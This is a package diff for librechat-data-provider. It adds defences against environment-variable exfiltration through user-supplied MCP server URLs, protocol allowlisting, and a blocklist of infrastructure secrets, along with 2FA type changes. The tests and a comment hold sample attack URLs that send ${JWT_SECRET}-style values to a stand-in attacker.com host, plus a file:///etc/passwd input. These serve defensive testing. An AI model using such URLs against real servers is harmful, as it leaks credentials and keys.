librechat-data-provider 0.8.302 → 0.8.400

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "librechat-data-provider",
3
- "version": "0.8.302",
3
+ "version": "0.8.400",
4
4
  "description": "data services for librechat apps",
5
5
  "main": "dist/index.js",
6
6
  "module": "dist/index.es.js",
@@ -0,0 +1,147 @@
1
+ import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
2
+
3
+ describe('MCPServerUserInputSchema', () => {
4
+ describe('env variable exfiltration prevention', () => {
5
+ it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
6
+ process.env.FAKE_SECRET = 'leaked-secret-value';
7
+ const adminResult = SSEOptionsSchema.safeParse({
8
+ type: 'sse',
9
+ url: 'http://attacker.com/?secret=${FAKE_SECRET}',
10
+ });
11
+ expect(adminResult.success).toBe(true);
12
+ if (adminResult.success) {
13
+ expect(adminResult.data.url).toContain('leaked-secret-value');
14
+ }
15
+ delete process.env.FAKE_SECRET;
16
+ });
17
+
18
+ it('should reject the same URL through user input schema', () => {
19
+ process.env.FAKE_SECRET = 'leaked-secret-value';
20
+ const userResult = MCPServerUserInputSchema.safeParse({
21
+ type: 'sse',
22
+ url: 'http://attacker.com/?secret=${FAKE_SECRET}',
23
+ });
24
+ expect(userResult.success).toBe(false);
25
+ delete process.env.FAKE_SECRET;
26
+ });
27
+ });
28
+
29
+ describe('env variable rejection', () => {
30
+ it('should reject SSE URLs containing env variable patterns', () => {
31
+ const result = MCPServerUserInputSchema.safeParse({
32
+ type: 'sse',
33
+ url: 'http://attacker.com/?secret=${FAKE_SECRET}',
34
+ });
35
+ expect(result.success).toBe(false);
36
+ });
37
+
38
+ it('should reject streamable-http URLs containing env variable patterns', () => {
39
+ const result = MCPServerUserInputSchema.safeParse({
40
+ type: 'streamable-http',
41
+ url: 'http://attacker.com/?jwt=${JWT_SECRET}',
42
+ });
43
+ expect(result.success).toBe(false);
44
+ });
45
+
46
+ it('should reject WebSocket URLs containing env variable patterns', () => {
47
+ const result = MCPServerUserInputSchema.safeParse({
48
+ type: 'websocket',
49
+ url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
50
+ });
51
+ expect(result.success).toBe(false);
52
+ });
53
+ });
54
+
55
+ describe('protocol allowlisting', () => {
56
+ it('should reject file:// URLs for SSE', () => {
57
+ const result = MCPServerUserInputSchema.safeParse({
58
+ type: 'sse',
59
+ url: 'file:///etc/passwd',
60
+ });
61
+ expect(result.success).toBe(false);
62
+ });
63
+
64
+ it('should reject ftp:// URLs for streamable-http', () => {
65
+ const result = MCPServerUserInputSchema.safeParse({
66
+ type: 'streamable-http',
67
+ url: 'ftp://internal-server/data',
68
+ });
69
+ expect(result.success).toBe(false);
70
+ });
71
+
72
+ it('should reject http:// URLs for WebSocket', () => {
73
+ const result = MCPServerUserInputSchema.safeParse({
74
+ type: 'websocket',
75
+ url: 'http://example.com/ws',
76
+ });
77
+ expect(result.success).toBe(false);
78
+ });
79
+
80
+ it('should reject ws:// URLs for SSE', () => {
81
+ const result = MCPServerUserInputSchema.safeParse({
82
+ type: 'sse',
83
+ url: 'ws://example.com/sse',
84
+ });
85
+ expect(result.success).toBe(false);
86
+ });
87
+ });
88
+
89
+ describe('valid URL acceptance', () => {
90
+ it('should accept valid https:// SSE URLs', () => {
91
+ const result = MCPServerUserInputSchema.safeParse({
92
+ type: 'sse',
93
+ url: 'https://mcp-server.com/sse',
94
+ });
95
+ expect(result.success).toBe(true);
96
+ if (result.success) {
97
+ expect(result.data.url).toBe('https://mcp-server.com/sse');
98
+ }
99
+ });
100
+
101
+ it('should accept valid http:// SSE URLs', () => {
102
+ const result = MCPServerUserInputSchema.safeParse({
103
+ type: 'sse',
104
+ url: 'http://mcp-server.com/sse',
105
+ });
106
+ expect(result.success).toBe(true);
107
+ });
108
+
109
+ it('should accept valid wss:// WebSocket URLs', () => {
110
+ const result = MCPServerUserInputSchema.safeParse({
111
+ type: 'websocket',
112
+ url: 'wss://mcp-server.com/ws',
113
+ });
114
+ expect(result.success).toBe(true);
115
+ if (result.success) {
116
+ expect(result.data.url).toBe('wss://mcp-server.com/ws');
117
+ }
118
+ });
119
+
120
+ it('should accept valid ws:// WebSocket URLs', () => {
121
+ const result = MCPServerUserInputSchema.safeParse({
122
+ type: 'websocket',
123
+ url: 'ws://mcp-server.com/ws',
124
+ });
125
+ expect(result.success).toBe(true);
126
+ });
127
+
128
+ it('should accept valid https:// streamable-http URLs', () => {
129
+ const result = MCPServerUserInputSchema.safeParse({
130
+ type: 'streamable-http',
131
+ url: 'https://mcp-server.com/http',
132
+ });
133
+ expect(result.success).toBe(true);
134
+ if (result.success) {
135
+ expect(result.data.url).toBe('https://mcp-server.com/http');
136
+ }
137
+ });
138
+
139
+ it('should accept valid http:// streamable-http URLs with "http" alias', () => {
140
+ const result = MCPServerUserInputSchema.safeParse({
141
+ type: 'http',
142
+ url: 'http://mcp-server.com/mcp',
143
+ });
144
+ expect(result.success).toBe(true);
145
+ });
146
+ });
147
+ });
@@ -1,4 +1,4 @@
1
- import { extractEnvVariable } from '../src/utils';
1
+ import { extractEnvVariable, isSensitiveEnvVar } from '../src/utils';
2
2
 
3
3
  describe('Environment Variable Extraction', () => {
4
4
  const originalEnv = process.env;
@@ -7,7 +7,7 @@ describe('Environment Variable Extraction', () => {
7
7
  process.env = {
8
8
  ...originalEnv,
9
9
  TEST_API_KEY: 'test-api-key-value',
10
- ANOTHER_SECRET: 'another-secret-value',
10
+ ANOTHER_VALUE: 'another-value',
11
11
  };
12
12
  });
13
13
 
@@ -55,7 +55,7 @@ describe('Environment Variable Extraction', () => {
55
55
  describe('extractEnvVariable function', () => {
56
56
  it('should extract environment variables from exact matches', () => {
57
57
  expect(extractEnvVariable('${TEST_API_KEY}')).toBe('test-api-key-value');
58
- expect(extractEnvVariable('${ANOTHER_SECRET}')).toBe('another-secret-value');
58
+ expect(extractEnvVariable('${ANOTHER_VALUE}')).toBe('another-value');
59
59
  });
60
60
 
61
61
  it('should extract environment variables from strings with prefixes', () => {
@@ -82,7 +82,7 @@ describe('Environment Variable Extraction', () => {
82
82
  describe('extractEnvVariable', () => {
83
83
  it('should extract environment variable values', () => {
84
84
  expect(extractEnvVariable('${TEST_API_KEY}')).toBe('test-api-key-value');
85
- expect(extractEnvVariable('${ANOTHER_SECRET}')).toBe('another-secret-value');
85
+ expect(extractEnvVariable('${ANOTHER_VALUE}')).toBe('another-value');
86
86
  });
87
87
 
88
88
  it('should return the original string if environment variable is not found', () => {
@@ -126,4 +126,71 @@ describe('Environment Variable Extraction', () => {
126
126
  );
127
127
  });
128
128
  });
129
+
130
+ describe('isSensitiveEnvVar', () => {
131
+ it('should flag infrastructure secrets', () => {
132
+ expect(isSensitiveEnvVar('JWT_SECRET')).toBe(true);
133
+ expect(isSensitiveEnvVar('JWT_REFRESH_SECRET')).toBe(true);
134
+ expect(isSensitiveEnvVar('CREDS_KEY')).toBe(true);
135
+ expect(isSensitiveEnvVar('CREDS_IV')).toBe(true);
136
+ expect(isSensitiveEnvVar('MEILI_MASTER_KEY')).toBe(true);
137
+ expect(isSensitiveEnvVar('MONGO_URI')).toBe(true);
138
+ expect(isSensitiveEnvVar('REDIS_URI')).toBe(true);
139
+ expect(isSensitiveEnvVar('REDIS_PASSWORD')).toBe(true);
140
+ });
141
+
142
+ it('should allow non-infrastructure vars through (including operator-configured secrets)', () => {
143
+ expect(isSensitiveEnvVar('OPENAI_API_KEY')).toBe(false);
144
+ expect(isSensitiveEnvVar('ANTHROPIC_API_KEY')).toBe(false);
145
+ expect(isSensitiveEnvVar('GOOGLE_KEY')).toBe(false);
146
+ expect(isSensitiveEnvVar('PROXY')).toBe(false);
147
+ expect(isSensitiveEnvVar('DEBUG_LOGGING')).toBe(false);
148
+ expect(isSensitiveEnvVar('DOMAIN_CLIENT')).toBe(false);
149
+ expect(isSensitiveEnvVar('APP_TITLE')).toBe(false);
150
+ expect(isSensitiveEnvVar('OPENID_CLIENT_SECRET')).toBe(false);
151
+ expect(isSensitiveEnvVar('DISCORD_CLIENT_SECRET')).toBe(false);
152
+ expect(isSensitiveEnvVar('MY_CUSTOM_SECRET')).toBe(false);
153
+ });
154
+ });
155
+
156
+ describe('extractEnvVariable sensitive var blocklist', () => {
157
+ beforeEach(() => {
158
+ process.env.JWT_SECRET = 'super-secret-jwt';
159
+ process.env.JWT_REFRESH_SECRET = 'super-secret-refresh';
160
+ process.env.CREDS_KEY = 'encryption-key';
161
+ process.env.CREDS_IV = 'encryption-iv';
162
+ process.env.MEILI_MASTER_KEY = 'meili-key';
163
+ process.env.MONGO_URI = 'mongodb://user:pass@host/db';
164
+ process.env.REDIS_URI = 'redis://:pass@host:6379';
165
+ process.env.REDIS_PASSWORD = 'redis-pass';
166
+ process.env.OPENAI_API_KEY = 'sk-legit-key';
167
+ });
168
+
169
+ it('should refuse to resolve sensitive vars (single-match path)', () => {
170
+ expect(extractEnvVariable('${JWT_SECRET}')).toBe('${JWT_SECRET}');
171
+ expect(extractEnvVariable('${JWT_REFRESH_SECRET}')).toBe('${JWT_REFRESH_SECRET}');
172
+ expect(extractEnvVariable('${CREDS_KEY}')).toBe('${CREDS_KEY}');
173
+ expect(extractEnvVariable('${CREDS_IV}')).toBe('${CREDS_IV}');
174
+ expect(extractEnvVariable('${MEILI_MASTER_KEY}')).toBe('${MEILI_MASTER_KEY}');
175
+ expect(extractEnvVariable('${MONGO_URI}')).toBe('${MONGO_URI}');
176
+ expect(extractEnvVariable('${REDIS_URI}')).toBe('${REDIS_URI}');
177
+ expect(extractEnvVariable('${REDIS_PASSWORD}')).toBe('${REDIS_PASSWORD}');
178
+ });
179
+
180
+ it('should refuse to resolve sensitive vars in composite strings (multi-match path)', () => {
181
+ expect(extractEnvVariable('key=${JWT_SECRET}&more')).toBe('key=${JWT_SECRET}&more');
182
+ expect(extractEnvVariable('db=${MONGO_URI}/extra')).toBe('db=${MONGO_URI}/extra');
183
+ });
184
+
185
+ it('should still resolve non-sensitive vars normally', () => {
186
+ expect(extractEnvVariable('${OPENAI_API_KEY}')).toBe('sk-legit-key');
187
+ expect(extractEnvVariable('Bearer ${OPENAI_API_KEY}')).toBe('Bearer sk-legit-key');
188
+ });
189
+
190
+ it('should resolve non-sensitive vars while blocking sensitive ones in the same string', () => {
191
+ expect(extractEnvVariable('key=${OPENAI_API_KEY}&secret=${JWT_SECRET}')).toBe(
192
+ 'key=sk-legit-key&secret=${JWT_SECRET}',
193
+ );
194
+ });
195
+ });
129
196
  });
@@ -200,9 +200,9 @@ export type TUpdateResourcePermissionsResponse = z.infer<
200
200
  * Principal search request parameters
201
201
  */
202
202
  export type TPrincipalSearchParams = {
203
- q: string; // search query (required)
204
- limit?: number; // max results (1-50, default 10)
205
- type?: PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE; // filter by type (optional)
203
+ q: string;
204
+ limit?: number;
205
+ types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE>;
206
206
  };
207
207
 
208
208
  /**
@@ -228,7 +228,7 @@ export type TPrincipalSearchResult = {
228
228
  export type TPrincipalSearchResponse = {
229
229
  query: string;
230
230
  limit: number;
231
- type?: PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE;
231
+ types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE> | null;
232
232
  results: TPrincipalSearchResult[];
233
233
  count: number;
234
234
  sources: {
package/src/config.ts CHANGED
@@ -1560,6 +1560,10 @@ export enum ErrorTypes {
1560
1560
  * No Base URL Provided.
1561
1561
  */
1562
1562
  NO_BASE_URL = 'no_base_url',
1563
+ /**
1564
+ * Base URL targets a restricted or invalid address (SSRF protection).
1565
+ */
1566
+ INVALID_BASE_URL = 'invalid_base_url',
1563
1567
  /**
1564
1568
  * Moderation error
1565
1569
  */
@@ -1736,7 +1740,7 @@ export enum TTSProviders {
1736
1740
  /** Enum for app-wide constants */
1737
1741
  export enum Constants {
1738
1742
  /** Key for the app's version. */
1739
- VERSION = 'v0.8.3',
1743
+ VERSION = 'v0.8.4-rc1',
1740
1744
  /** Key for the Custom Config's version (librechat.yaml). */
1741
1745
  CONFIG_VERSION = '1.3.6',
1742
1746
  /** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */
@@ -21,8 +21,8 @@ export function revokeAllUserKeys(): Promise<unknown> {
21
21
  return request.delete(endpoints.revokeAllUserKeys());
22
22
  }
23
23
 
24
- export function deleteUser(): Promise<s.TPreset> {
25
- return request.delete(endpoints.deleteUser());
24
+ export function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {
25
+ return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });
26
26
  }
27
27
 
28
28
  export type FavoriteItem = {
@@ -970,8 +970,8 @@ export function updateFeedback(
970
970
  }
971
971
 
972
972
  // 2FA
973
- export function enableTwoFactor(): Promise<t.TEnable2FAResponse> {
974
- return request.get(endpoints.enableTwoFactor());
973
+ export function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {
974
+ return request.post(endpoints.enableTwoFactor(), payload);
975
975
  }
976
976
 
977
977
  export function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {
@@ -986,8 +986,10 @@ export function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDis
986
986
  return request.post(endpoints.disableTwoFactor(), payload);
987
987
  }
988
988
 
989
- export function regenerateBackupCodes(): Promise<t.TRegenerateBackupCodesResponse> {
990
- return request.post(endpoints.regenerateBackupCodes());
989
+ export function regenerateBackupCodes(
990
+ payload?: t.TRegenerateBackupCodesRequest,
991
+ ): Promise<t.TRegenerateBackupCodesResponse> {
992
+ return request.post(endpoints.regenerateBackupCodes(), payload);
991
993
  }
992
994
 
993
995
  export function verifyTwoFactorTemp(
@@ -1,15 +1,52 @@
1
1
  import type { FileConfig } from './types/files';
2
2
  import {
3
3
  fileConfig as baseFileConfig,
4
+ documentParserMimeTypes,
4
5
  getEndpointFileConfig,
5
- mergeFileConfig,
6
6
  applicationMimeTypes,
7
7
  defaultOCRMimeTypes,
8
- documentParserMimeTypes,
9
8
  supportedMimeTypes,
9
+ mergeFileConfig,
10
+ inferMimeType,
11
+ textMimeTypes,
10
12
  } from './file-config';
11
13
  import { EModelEndpoint } from './schemas';
12
14
 
15
+ describe('inferMimeType', () => {
16
+ it('should normalize text/x-python-script to text/x-python', () => {
17
+ expect(inferMimeType('test.py', 'text/x-python-script')).toBe('text/x-python');
18
+ });
19
+
20
+ it('should return a type that matches textMimeTypes after normalization', () => {
21
+ const normalized = inferMimeType('test.py', 'text/x-python-script');
22
+ expect(textMimeTypes.test(normalized)).toBe(true);
23
+ });
24
+
25
+ it('should pass through standard browser types unchanged', () => {
26
+ expect(inferMimeType('test.py', 'text/x-python')).toBe('text/x-python');
27
+ expect(inferMimeType('doc.pdf', 'application/pdf')).toBe('application/pdf');
28
+ });
29
+
30
+ it('should infer from extension when browser type is empty', () => {
31
+ expect(inferMimeType('test.py', '')).toBe('text/x-python');
32
+ expect(inferMimeType('code.js', '')).toBe('text/javascript');
33
+ expect(inferMimeType('photo.heic', '')).toBe('image/heic');
34
+ });
35
+
36
+ it('should return empty string for unknown extension with no browser type', () => {
37
+ expect(inferMimeType('file.xyz', '')).toBe('');
38
+ });
39
+
40
+ it('should produce a type accepted by checkType after normalizing text/x-python-script', () => {
41
+ const normalized = inferMimeType('test.py', 'text/x-python-script');
42
+ expect(baseFileConfig.checkType(normalized)).toBe(true);
43
+ });
44
+
45
+ it('should reject raw text/x-python-script without normalization', () => {
46
+ expect(baseFileConfig.checkType('text/x-python-script')).toBe(false);
47
+ });
48
+ });
49
+
13
50
  describe('applicationMimeTypes', () => {
14
51
  const odfTypes = [
15
52
  'application/vnd.oasis.opendocument.text',
@@ -357,15 +357,21 @@ export const imageTypeMapping: { [key: string]: string } = {
357
357
  heif: 'image/heif',
358
358
  };
359
359
 
360
+ /** Normalizes non-standard MIME types that browsers may report to their canonical forms */
361
+ export const mimeTypeAliases: Readonly<Record<string, string>> = {
362
+ 'text/x-python-script': 'text/x-python',
363
+ };
364
+
360
365
  /**
361
- * Infers the MIME type from a file's extension when the browser doesn't recognize it
362
- * @param fileName - The name of the file including extension
363
- * @param currentType - The current MIME type reported by the browser (may be empty)
364
- * @returns The inferred MIME type if browser didn't provide one, otherwise the original type
366
+ * Infers the MIME type from a file's extension when the browser doesn't recognize it,
367
+ * and normalizes known non-standard MIME type aliases to their canonical forms.
368
+ * @param fileName - The file name including its extension
369
+ * @param currentType - The MIME type reported by the browser (may be empty string)
370
+ * @returns The normalized or inferred MIME type; empty string if unresolvable
365
371
  */
366
372
  export function inferMimeType(fileName: string, currentType: string): string {
367
373
  if (currentType) {
368
- return currentType;
374
+ return mimeTypeAliases[currentType] ?? currentType;
369
375
  }
370
376
 
371
377
  const extension = fileName.split('.').pop()?.toLowerCase() ?? '';
package/src/mcp.ts CHANGED
@@ -223,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
223
223
  oauth_headers: true,
224
224
  });
225
225
 
226
+ const envVarPattern = /\$\{[^}]+\}/;
227
+ const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
228
+ const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
229
+
230
+ /**
231
+ * Builds a URL schema for user input that rejects ${VAR} env variable patterns
232
+ * and validates protocol constraints without resolving environment variables.
233
+ */
234
+ const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
235
+ z
236
+ .string()
237
+ .refine((val) => !envVarPattern.test(val), {
238
+ message: 'Environment variable references are not allowed in URLs',
239
+ })
240
+ .pipe(z.string().url())
241
+ .refine(protocolCheck, { message });
242
+
226
243
  /**
227
244
  * MCP Server configuration that comes from UI/API input only.
228
245
  * Omits server-managed fields like startup, timeout, customUserVars, etc.
@@ -232,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
232
249
  * Stdio allows arbitrary command execution and should only be configured
233
250
  * by administrators via the YAML config file (librechat.yaml).
234
251
  * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
252
+ *
253
+ * SECURITY: URL fields use userUrlSchema instead of the admin schemas'
254
+ * extractEnvVariable transform to prevent env variable exfiltration
255
+ * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
256
+ * Protocol checks use positive allowlists (http(s) / ws(s)) to block
257
+ * file://, ftp://, javascript:, and other non-network schemes.
235
258
  */
236
259
  export const MCPServerUserInputSchema = z.union([
237
- omitServerManagedFields(WebSocketOptionsSchema),
238
- omitServerManagedFields(SSEOptionsSchema),
239
- omitServerManagedFields(StreamableHTTPOptionsSchema),
260
+ omitServerManagedFields(WebSocketOptionsSchema).extend({
261
+ url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
262
+ }),
263
+ omitServerManagedFields(SSEOptionsSchema).extend({
264
+ url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
265
+ }),
266
+ omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
267
+ url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
268
+ }),
240
269
  ]);
241
270
 
242
271
  export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;
package/src/types.ts CHANGED
@@ -425,28 +425,29 @@ export type TLoginResponse = {
425
425
  tempToken?: string;
426
426
  };
427
427
 
428
+ /** Shared payload for any operation that requires OTP or backup-code verification. */
429
+ export type TOTPVerificationPayload = {
430
+ token?: string;
431
+ backupCode?: string;
432
+ };
433
+
434
+ export type TEnable2FARequest = TOTPVerificationPayload;
435
+
428
436
  export type TEnable2FAResponse = {
429
437
  otpauthUrl: string;
430
438
  backupCodes: string[];
431
439
  message?: string;
432
440
  };
433
441
 
434
- export type TVerify2FARequest = {
435
- token?: string;
436
- backupCode?: string;
437
- };
442
+ export type TVerify2FARequest = TOTPVerificationPayload;
438
443
 
439
444
  export type TVerify2FAResponse = {
440
445
  message: string;
441
446
  };
442
447
 
443
- /**
444
- * For verifying 2FA during login with a temporary token.
445
- */
446
- export type TVerify2FATempRequest = {
448
+ /** For verifying 2FA during login with a temporary token. */
449
+ export type TVerify2FATempRequest = TOTPVerificationPayload & {
447
450
  tempToken: string;
448
- token?: string;
449
- backupCode?: string;
450
451
  };
451
452
 
452
453
  export type TVerify2FATempResponse = {
@@ -455,30 +456,22 @@ export type TVerify2FATempResponse = {
455
456
  message?: string;
456
457
  };
457
458
 
458
- /**
459
- * Request for disabling 2FA.
460
- */
461
- export type TDisable2FARequest = {
462
- token?: string;
463
- backupCode?: string;
464
- };
459
+ export type TDisable2FARequest = TOTPVerificationPayload;
465
460
 
466
- /**
467
- * Response from disabling 2FA.
468
- */
469
461
  export type TDisable2FAResponse = {
470
462
  message: string;
471
463
  };
472
464
 
473
- /**
474
- * Response from regenerating backup codes.
475
- */
465
+ export type TRegenerateBackupCodesRequest = TOTPVerificationPayload;
466
+
476
467
  export type TRegenerateBackupCodesResponse = {
477
- message: string;
468
+ message?: string;
478
469
  backupCodes: string[];
479
- backupCodesHash: string[];
470
+ backupCodesHash: TBackupCode[];
480
471
  };
481
472
 
473
+ export type TDeleteUserRequest = TOTPVerificationPayload;
474
+
482
475
  export type TRequestPasswordReset = {
483
476
  email: string;
484
477
  };
package/src/utils.ts CHANGED
@@ -1,5 +1,29 @@
1
1
  export const envVarRegex = /^\${(.+)}$/;
2
2
 
3
+ /**
4
+ * Infrastructure env vars that must never be resolved via placeholder expansion.
5
+ * These are internal secrets whose exposure would compromise the system —
6
+ * they have no legitimate reason to appear in outbound headers, MCP env/args, or OAuth config.
7
+ *
8
+ * Intentionally excludes API keys (operators reference them in config) and
9
+ * OAuth/session secrets (referenced in MCP OAuth config via processMCPEnv).
10
+ */
11
+ const SENSITIVE_ENV_VARS = new Set([
12
+ 'JWT_SECRET',
13
+ 'JWT_REFRESH_SECRET',
14
+ 'CREDS_KEY',
15
+ 'CREDS_IV',
16
+ 'MEILI_MASTER_KEY',
17
+ 'MONGO_URI',
18
+ 'REDIS_URI',
19
+ 'REDIS_PASSWORD',
20
+ ]);
21
+
22
+ /** Returns true when `varName` refers to an infrastructure secret that must not leak. */
23
+ export function isSensitiveEnvVar(varName: string): boolean {
24
+ return SENSITIVE_ENV_VARS.has(varName);
25
+ }
26
+
3
27
  /** Extracts the environment variable name from a template literal string */
4
28
  export function extractVariableName(value: string): string | null {
5
29
  if (!value) {
@@ -16,21 +40,20 @@ export function extractEnvVariable(value: string) {
16
40
  return value;
17
41
  }
18
42
 
19
- // Trim the input
20
43
  const trimmed = value.trim();
21
44
 
22
- // Special case: if it's just a single environment variable
23
45
  const singleMatch = trimmed.match(envVarRegex);
24
46
  if (singleMatch) {
25
47
  const varName = singleMatch[1];
48
+ if (isSensitiveEnvVar(varName)) {
49
+ return trimmed;
50
+ }
26
51
  return process.env[varName] || trimmed;
27
52
  }
28
53
 
29
- // For multiple variables, process them using a regex loop
30
54
  const regex = /\${([^}]+)}/g;
31
55
  let result = trimmed;
32
56
 
33
- // First collect all matches and their positions
34
57
  const matches = [];
35
58
  let match;
36
59
  while ((match = regex.exec(trimmed)) !== null) {
@@ -41,12 +64,12 @@ export function extractEnvVariable(value: string) {
41
64
  });
42
65
  }
43
66
 
44
- // Process matches in reverse order to avoid position shifts
45
67
  for (let i = matches.length - 1; i >= 0; i--) {
46
68
  const { fullMatch, varName, index } = matches[i];
69
+ if (isSensitiveEnvVar(varName)) {
70
+ continue;
71
+ }
47
72
  const envValue = process.env[varName] || fullMatch;
48
-
49
- // Replace at exact position
50
73
  result = result.substring(0, index) + envValue + result.substring(index + fullMatch.length);
51
74
  }
52
75